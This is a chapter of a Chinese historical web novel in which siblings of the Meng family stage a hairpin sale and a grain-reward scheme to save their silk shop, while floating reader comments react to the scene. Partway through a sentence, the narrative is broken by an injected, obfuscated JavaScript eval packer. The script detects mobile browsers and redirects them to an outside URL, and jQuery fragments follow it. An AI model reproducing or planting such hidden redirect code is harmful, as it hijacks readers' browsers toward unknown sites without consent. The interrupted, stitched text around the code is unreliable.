默认冷灰
24号文字
方正启体

28. 簪子救场

作者:聆桐本书字数:K更新时间:
    孟之安回到孟府并无任何行动,而是封锁孟府内的消息,尤其告诫孟父身边之人不可将今日外面的风声透露给孟父。


    丑时,他写了一封信给姜白拿出去。


    第二日,孟之安一大早去商铺安抚人心,鼓舞士气,偷偷将一批备用丝绸运进后房,他从商铺后门离开,乘坐马车来到了孟清涵所在的宅子。


    午后阳光入院,她一只手拿着两封信躺在摇椅上晒太阳,将书籍翻开放于脸上。


    推门声在耳边响起,脚步声让她睁开眼睛,用手将书扯下,坐起身望向正在关门的孟之安。


    他径直越过她走到屋檐下,笑着对着孟清涵伸出一只手。


    孟清涵用手指夹着两份信走到他的面前递给他,他伸过手想要拿信,她反手将信往后移,只留下他的手愣在半空中,一半阴影一半阳光浮于手上。


    她站在扶光之下,眼神看了一眼信封,又转而看向他,轻声道:“信在这,东西也在里面。”


    他笑着将手收回,静静的看向她。


    她面色严肃的说道:“拿好东西,按我说的做,别背地里使手段。”


    他眼神下瞥又看向她:“孟清涵,别太高估我,你能带我得到我想要的东西,何苦还自作聪明呢?搬起石头砸自己的脚的事,我可做不出来。”


    她自上而下看了一眼,又反复自下而上看他,嗤笑一声。


    “孟之安,我好像很难相信你呢?”


    他轻笑着将头低下,再次抬头将手置于阳光下伸向她:“嗯?”


    她将手中的信递向他,抿了抿嘴道:“算了,勉强信你一回。”


    他一只手扯过信,她正要放手反被他另一只手握住手腕拉扯过去。


    屋檐下,她皱着眉头将视线看向他的手,他顺着她的目光看过去,瞬间松开了手,笑道:“相信我,你不会后悔,合作愉快。”


    他拿着信封转身离开,她用衣袖擦了擦他触碰的手腕,不停用手摩挲手臂,立马往前走了几步,站在阳光之下笑着说道:“这人是冰块嘛?下次再碰我,我非得把他手废了。”


    她看见他将门缓缓带上,在即将关上的那一瞬间,他抬头望向她,视线相交,眼神流露出一丝狡黠。


    她盯着大门认真道:“孟之安,事不过三。”


    ——


    孟之安坐上马车回到孟府,听门口的的小厮支支吾吾说孟父在书房,快走到书房门口,杯子破碎声便涌入耳中。


    一个小厮慌慌张张从书房里弓着腰跑出来,低着头往前走正撞上往书房走去的孟之安。


    他立马跪下不停磕头,肩膀止不住抖动:“奴才没长眼,大少爷,大少爷我错了……”


    孟之安伸出手将他扶起,忽视他错愕的目光,轻拍了拍他的肩膀示意他快离开。


    孟之安一走进书房就见孟父扶着额头叹气,地上散落着碎掉的茶壶和茶杯,角落里躺着一张被揉捏得不成样子的纸张。


    孟之安微鞠躬,低头轻语:“父亲……”


    他的眼眸微抬,眼中疲惫感溢于空气中,低声说道:“我知道你要说什么。”


    孟之安抬起头直视他的眼睛,转而又视线低垂。


    他指了指角落里的纸张,不屑说道:“江家抢占丝绸商人的货,他还特意写信在我面前耀武扬威,看来这次陈晋给喂了他一颗定心丸,才胆敢如此嚣张,做人不好嘛?非得做条狗。”


    孟之安走到角落边捡起地上的纸张,看了几眼也把纸张握在手心中。


    “江家太嚣张了,若不是十年前孟家仗义相助,江家早就在疫情的损失下关铺了,哪有江家今日,真是忘恩负义还反咬一口的东西。”


    他瞬间感觉头疼欲裂,用手不停按揉着太阳穴,孟之安上前一步说道:“父亲,小妹有一计,可以暂时解商铺燃眉之急。”


    他的头也没抬,按揉的力度愈加大:“孟婉?她不会是想借此计谋把那没脑子的孟之临给赎出来吧?让她有这闲情不妨多温习琴棋书画。”


    孟之安沉默了一会儿,假装咳嗽两声:“咳咳,父亲,是孟清涵。”


    他的眼神低垂,眼神闪过迟疑,从未想到会是她想出办法,亦或者没想到她会伸出援手,疑惑道:“孟清涵?”


    孟之安将手中的信递给他,语气低沉:“是,我将家中近日面对的挑衅一一告知她,希望能有不同的看法,请父亲原谅我的擅自主张。”


    他接过信只看了一眼便扔到桌子上:“你想借助皇宫内的势力?”


    “是。”


    “借力要还力,且不说以她能不能在宫中活下去,以她现在的地位恐怕难以……”


    孟之安重新将信件推至他的面前,眸中带笑:“父亲,孟清涵,不,我们该称为孟贵人了。”


    他目光由看向信封转向面色平静的孟之安,语气带着轻颤:“孟贵人?”


    他打开信封,看完信件内容,将信放回信中,轻拍了拍孟之安的肩膀,若有所思说道:“一个和孟家没有任何感情的孩子,能在这个时候伸出援手,她的目的是什么呢?”


    “孟清涵只希望沈夫人余生能衣食无忧,她进宫之前曾拜托我代她尽孝道,自责于无法报答养育之恩。”


    他笑着看向面色略带愧疚的孟之安,眼神盯着用手从信中取出的簪子:“所以,此刻,你有求于她,她也欣然愿意伸出援手,那就是看在你的面子上了。”


    孟之安轻摇了摇头,诚恳又认真的回答:“若没有父亲的庇护,我又有什么能力去照料沈夫人呢?我已在信中和妹妹说清其中缘由。”


    孟父回忆着信中的内容,转而看着信封沉默良久,嘴角微扬,松了一口气,站起身将信件递给孟之安。


    “总算有点用了,东西备好了?”


    “已连夜备好了。”


    他对着孟之安挥了挥手,坐下扶着额头闭着眼睛说道:“那就从明日开始。”


    孟之安鞠了一躬后便离开了。


    书房内,他慢慢睁开眼睛,孟之临信誓当当的告状之言拂过耳边。


    他想了许久,最后只是淡淡说道:“孟清涵,孟之安。”


    第二日,清晨。


    孟之安带着一箱簪子来到孟家位于街道最中心的商铺,商铺里面的伙计早已将桌子抬到外面,正在外面焦急的等着他,周围时常传来揣测的目光。


    他将箱子放置在桌子上,他身后跟着的一个护卫对着周围的百姓有节奏轻敲锣打鼓,另一个护卫从马车上将许多米面油粮一个个搬下来。


    张大婶看着人陆陆续续往孟家商铺走去,立马从菜摊子前站起来,不停伸着头看向孟家商铺。


    一个男人疑惑问道:“这是怎么了?”


    一个妇人指了指他说道:“孟家拿了好多米面油粮啊,感觉有什么大事要说,你瞧,还有个傻护卫在敲锣打鼓。”


    另一个妇人打断她,大声喊道:“我从他下马车就盯着了,那至少有十几袋米,哎呦,不得了不得了,地上还放着十几桶油呢,这个热闹我得看看去。”


    张大婶眺望的目光收回,惊讶的望向跑向商铺的人,一边跟着跑一边大声喊道:“米面油粮?!”


    百姓很快就把商铺围成了一个圈,所有人把目光望向孟之安手中按压的盒子。


    张大婶左挤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396370|200374||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    右挤,来到最前排,对着他大声喊道:“这是什么好东西啊,别卖关子了,再卖天都黑了,孟少掌柜。”


    “自然是好东西。”


    他笑着从盒子里取出一个小盒子,将小盒子打开,拿出里面的簪子。


    此簪一拿出,周围的百姓不约而同往后退一步。


    他笑着举起簪子娓娓道来:“此簪子为玉兰簪,又称百花簪子,是当今贵妃为太后祈福所制成的簪子,太后常年去寺庙为百姓祈福,吃斋念佛更是多年,太后见此簪子心中甚是欢喜,可又想起寒冬已去,已入深春,但很多地方依旧春日至,寒意存,贫苦百姓衣不蔽体,吃了上顿没下顿,便忧心忡忡,昼夜难安。”


    周围的百姓听了听,又互相皱着眉头看了看,内心毫无波澜,陆续有人打起了哈欠。


    他重重拍了拍桌子,吓得一旁的人立刻清醒了。


    “关键时刻,贵妃娘娘就提出将此簪子流入民间集市贩卖,赚取钱财送往贫苦地区。让她们也沾染太后福气,那必然是最好不过祝福了。”


    张大婶举起手打断了他的话,看了看他,又看了看周围的百姓,拍了拍手掌:“孟少掌柜?这簪子好看倒是好看,也是第一次见这种样式的簪子,但说了这么多,那你倒是说说多少银子,让大家死死心。”


    他将簪子轻轻放于小盒子中,对着张大婶举起了两根手指。


    “二十两?”


    “不要二百两,不要二十两,只要十九两再加上九百文钱。”


    “…………”


    此刻无声胜有声。


    “噗”


    站在人群最末处的孟清涵笑出了声,看着他这吆喝的样子。


    “没想到他说书的模样是要倒欠说书人一百两银子的程度。”


    【天好冷,想把手伸进你兜里掏钱:咦,这孟之安怎么会我们现代的技巧?哪里偷学来的!这是要收费的。】


    【拒绝油腻男,从你我做起:替人尴尬的毛病又犯了,帅哥自言自语尴话,也很要命啊,卖那么贵,不会被殴打嘛?十九两加上九百文真没啥区别。】


    【超AAAAAA小说批发户:四舍五入的区别,百姓的表情堪比我就笑笑不说话了,笑笑得了。】


    【吃瓜第一线某某群众:百姓此刻的嘴角好比定海神针,不动如山。】


    孟清涵抬头望向空中的文字,想到前几日还在忧愁该如何设计这个喊价环节,不自觉说出了该如何卖东西这个问题,就看见空中的文字开始陆续给她出奇招,有说找两个人来为争夺簪子打架,还有说故意提高十倍价钱再打骨折。


    张大婶一边摇头一边用手疏散人群:“孟少掌柜,这有何区别,行了,行了,都散了吧散了吧,跟我们平明百姓没什么关系。”


    他伸出手大喊道:“张大婶,且留步,这簪子和你们没关系,但这米面油粮和你们有关呢。”


    刚走几步的人全都纷纷回头,狐疑望向他。


    “若有人能拉来一个客人,就可领一包蔬菜包,两个客人可领一袋米,四个客人可领一桶油,六寓意着六六大顺,六个客人自然是一桶油加一袋米了,但每人可只有一次领奖机会,三日内凡事达到要求者,可来我这儿登记,这三日,我就在这等着你们来。”


    众人看着眼前上好的油,和平日里难以吃到的良米,瞥向地上菜类俱全的蔬菜包,立马呼声不断。


    “时间开始了。”


    话落,所有人便立刻跑会摊子收摊。


    转眼之间,只剩孟清涵和他面面相看,而在他们视线的上方——酒楼。


    有人正在一边喝茶一边看着她们的一举一动。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)